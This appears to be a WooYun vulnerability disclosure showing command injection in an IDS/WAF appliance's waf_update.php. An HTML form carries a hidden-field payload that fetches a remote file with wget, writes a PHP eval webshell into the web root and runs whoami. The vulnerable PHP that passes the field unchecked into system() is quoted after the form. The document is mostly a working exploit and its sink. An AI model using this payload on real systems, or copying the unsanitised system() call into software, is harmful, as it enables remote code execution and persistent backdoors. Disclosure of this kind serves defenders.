WooYun.org

<form action="**.**.**.**/admin/ids/waf_update.php" method="post">


<input type="hidden" name="uptype" value="1">


<input type="hidden" name="sys_path" value="http://**.**.**.**/tmp.bin -O /data/upload/__ids_up__.bin || echo '<? eval($_POST[cmd])?>' >/ssl/www/bug2.php ||whoami ">


<input type="submit" name="Submit">


</form>

include_once "management/system.php";


include_once "management/ids.php";





$uptype =1;


if ($_FILES['ids_file'] || isset($_POST["sys_path"])) {


	$uptype = $_POST["uptype"];


	if($_POST["uptype"] == 2){


		$file_size = $_FILES['ids_file']['size'];


		$file_type = $_FILES['ids_file']['type'];	


		$temp_name = $_FILES['ids_file']['tmp_name'];


		$file_name = $_FILES['ids_file']['name'];


		$file_name = str_replace("\\","",$file_name);


		$file_name = str_replace("'","",$file_name);


		$file_name = str_replace(" ","",$file_name);





		$file_path = $CFG_UPLOAD_PATH."__ids_up__.bin";





		//File Name Check


		if ( $file_name == "" ) { 


			echo "Invalid File Name Specified";


			return;


		}


		$result = move_uploaded_file($temp_name, $file_path);


	}else{


		$file_path = "/data/upload/__ids_up__.bin";


		$url = trim($_POST["sys_path"]);


		$url ="http://".$url;


		system("wget -t 3 $url -O $file_path ");	


	}


	$SM = new IDSManager;


	$V = $SM->snort_update($ticket,$file_path);


}